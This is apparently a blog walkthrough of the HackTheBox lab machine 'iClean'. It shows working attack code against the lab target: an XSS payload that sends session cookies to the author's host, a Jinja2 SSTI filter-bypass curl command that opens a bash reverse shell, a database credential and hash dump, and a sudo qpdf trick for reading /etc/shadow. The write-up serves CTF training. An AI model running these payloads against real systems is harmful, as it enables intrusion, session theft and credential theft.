HackTheBox | iClean

In this walkthrough, I demonstrate how I obtained complete ownership of iClean on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned IClean from Hack The Box!
I have just owned machine IClean from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Fri Jul 12 01:17:33 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.77.174
Nmap scan report for 10.129.77.174
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 12 01:17:48 2024 -- 1 IP address (1 host up) scanned in 15.32 seconds
ℹ️
There are no HTTP redirects or other protocols pointing to a hostname, but I am going to add an entry in my /etc/hosts file anyway, so I don't have to remember an IP address.
echo -e '10.129.77.174\t\ticlean.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Requesting the page in my browser, there is a redirect to http://capiclean.htb, so again, let's add that to our /etc/hosts.

echo -e '10.129.77.174\t\tcapiclean.htb' | sudo tee -a /etc/hosts



Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Noting the login page here, we don't have a way to register for an account
Clicking the /choose link, takes us to a page with a button to get a quote. However, this same button exists further down the main page as well.
Try filling out the form with dummy data, but nothing malicious
Filling out the form and submitting sends a HTTP POST request to /sendMessage with the data as Content-Type: application/x-www-form-urlencoded
ℹ️
At this point, I've clicked on all the links that are visible to me and filled out the form to better understand how things function on the web page. Right now, there's nothing too interesting other than the form, but that remains to be seen how that can be used maliciously.



Penetration Testing

The initial walk of the application did not reveal anything too substantial, so we'll need to use some tools to try discover some additional pages, APIs, etc.

The web server appears to be running on Flask -- Werkzeug/2.37
Noting a possible username at the bottom of the page



Gobuster Enumeration

Directories and Files
gobuster dir -u http://capiclean.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -o iclean_80.txt -t 100
/about                (Status: 200) [Size: 5267]
/choose               (Status: 200) [Size: 6084]
/dashboard            (Status: 302) [Size: 189] [--> /]
/login                (Status: 200) [Size: 2106]
/logout               (Status: 302) [Size: 189] [--> /]
/quote                (Status: 200) [Size: 2237]
/server-status        (Status: 403) [Size: 278]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
ℹ️
Despite the redirect to the capiclean.htb domain name, the server did not appear to be using virtual hosts or no other virtual hosts were configured. The /dashboard and /logout pages are new, but we can't access them without the right cookie, most likely.
We can see the logout page nullifies any potential cookies
The dashboard requires a cookie to access



Exploring the Quote Form

Testing for XSS
There are indications of some kind of user interaction with our submissions
💡
I am going to re-submit a request on the /quote page and then send the request to Burp Repeater to test different inputs
Using an Ad-Hoc Nginx ... | 0xBEN | Notes
Set up Custom Logging sudo apt install -y libnginx-mod-http-lua Install Nginx LUA libraries sud…

I am going to use this setup I've documented here

I'm injecting <script src=http://htb_vpn_ip/script.js></script> at various points
Nice! A "user" on the box opened the form, let's see if we can steal some data



Playing around with a few different payloads, this is the one that worked for me. I only needed to change the payload in the service field.
ℹ️
The payload <img+src%3dx+onerror%3d"document.location%3d'http%3a//10.10.14.48/%3fcookie%3d'%2bdocument.cookie"+/> decodes to <img src=x onerror="document.location='http://10.10.14.48/?cookie='+document.cookie" /> which tells the client browser to try and fetch an image with src=x which throws an error, triggering onerror.

The onerror attribute tells the client to fetch http://htb_vpn_ip/?cookie and add the user's cookie data as the query string.
I'm going to set the cookie in my browser using the developer tools -- press CTRL + SHIFT + I or F12
We have access to the dashboard now!



Exploring the Dashboard

Upon initial inspection, the most interesting aspects of the dashboard are:

  • The QR code generator takes an invoice ID
    • You can generate an invoice ID using the Generate Invoice link
    • Plugging the invoice ID into the QR generator creates a new link to a PNG file containing the QR
    • If you plug in the QR link and click submit, your QR code appears at the bottom of the page
The QR code appears to be read from the file link and inserted into the page
💡
What if we try some different URLs in the link input and see if it will include the data in the image placeholder?
Just try the base URL
We can see a broken image link, but upon closer inspection...
Press CTRL + U to view the page source and you can see there's base64 data. Right-click and copy the link address.
nano b64.txt

Create a file to store the URL and paste the contents in

We can see the page contents have been read by the server and included on the page



Testing Remote File Inclusion

Using an Ad-Hoc Nginx ... | 0xBEN | Notes
Set up Custom Logging sudo apt install -y libnginx-mod-http-lua Install Nginx LUA libraries sud…

I'll be using this setup I've documented here to capture more headers from the request

In my testing, any URL that is NOThttp://capiclean.htb is ignored, so there may be some filtering logic at play here
I initially tried bypassing the filter with http://vpn_ip_address/%00http://capiclean.htb but this caused a server side error. However...
💡
It has to be a fully qualified URL too, simply including capiclean.htb
⚠️
I realized at this moment, that RFI / LFI to RCE is probably not going to work, because all we have here is a python-requests client fetching the page and reflecting it in the <img> tag on the page.

However... I noticed two things about the target so far:

The XSS request had a Referer: http://127.0.0.1:3000 header in it, meaning that Apache on tcp/80 is just a reverse proxy to the Flask server on tcp/3000.

That means that the underlying stack running this web site is Python, and there maybe some Server Side Template Injection (SSTI) with Jinja2 at play here.



Testing for SSTI

PayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

Some sample payloads to test in different input points

Recall that the dashboard has lots of different input points to test with, so just go through and test out the different input fields in the app
Since I'm already on the page, I decide to test here first...
And, what a pleasant surprise! The Python app has taken my Jinja2 template code and parsed it!
This was the filter bypass that worked for me, spawning a process on the target that runs id and returning the output
curl -s http://capiclean.htb/QRGenerator \
-H 'Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZpC76A.5Hc0jjRRBQ-XBduQPIu5r2BnL_Y' \
-d 'invoice_id=' \
-d 'form_type=scannable_invoice' \
--data-urlencode "qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}"

Using curl to make testing more efficient





Exploit

SSTI to Shell

sudo rlwrap nc -lnvp 443

Start a TCP listener

curl -s http://capiclean.htb/QRGenerator \
-H 'Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZpC76A.5Hc0jjRRBQ-XBduQPIu5r2BnL_Y' \
-d 'invoice_id=' \
-d 'form_type=scannable_invoice' \
--data-urlencode "qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash -c \"bash -i >& /dev/tcp/10.10.14.48/443 0>&1\"')|attr('read')()}}" | tail -n 10

Use SSTI to spawn bash through a TCP connection





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux iclean 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
Sorry, user www-data may not run sudo on iclean.



Users and Groups

Local Users

consuela:x:1000:1000:consuela:/home/consuela:/bin/bash    

Local Groups

consuela:x:1000:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:11:86 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.77.174/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2105sec preferred_lft 2105sec    

Open Ports

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:35971         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      1203/python3        
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -    



Interesting Files

/opt/app/app.py

from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}





Privilege Escalation

Dump MySQL Data

mysql -u iclean -p'pxCsmnGLckUb'
SHOW DATABASES;
USE iclean;
SHOW TABLES;
SELECT * FROM users;

Find interesting databases and tables, dump the records from the users table

Likely SHA-256 hashes in the users table
2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

Save them in a file

Crack with john or your preferred cracking tool



Lateral to Consuela

SSH into the host as consuela using the hash we cracked
💡
From here, we repeat the post-exploitation enumeration to look for access levels unique to this user
Look for quick wins by enumerating sudo privileges. Consuela is able to run the /usr/bin/qpdf command with no restrictions on arguments.
qpdf version 10.6.3-1



Sensitive File Read

sudo /usr/bin/qpdf --help=all

Combing over the help documentation, I notice a few interesting things

We can build a new PDF using the --empty argument
We can also embed and attach files to PDFs
Shows the way to add attachments to PDFs
# --empty : Start with an empty base PDF
# --add-attachment : test with shadow file
# --mimetype=text/plain : since the shadow file is just a text file
# -- : indicates end of attachments
# doc.pdf : output file

sudo /usr/bin/qpdf \
--empty \
--add-attachment /etc/shadow \
--mimetype=text/plain -- \
doc.pdf
Just repeat the process for /root/root.txt or possible /root/.ssh/id_rsa



Flags

User

2ab47b35d8a086be1d42f80082e0b575    

Root

96460a0b574854e4c37a2ea142e4c4d9    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.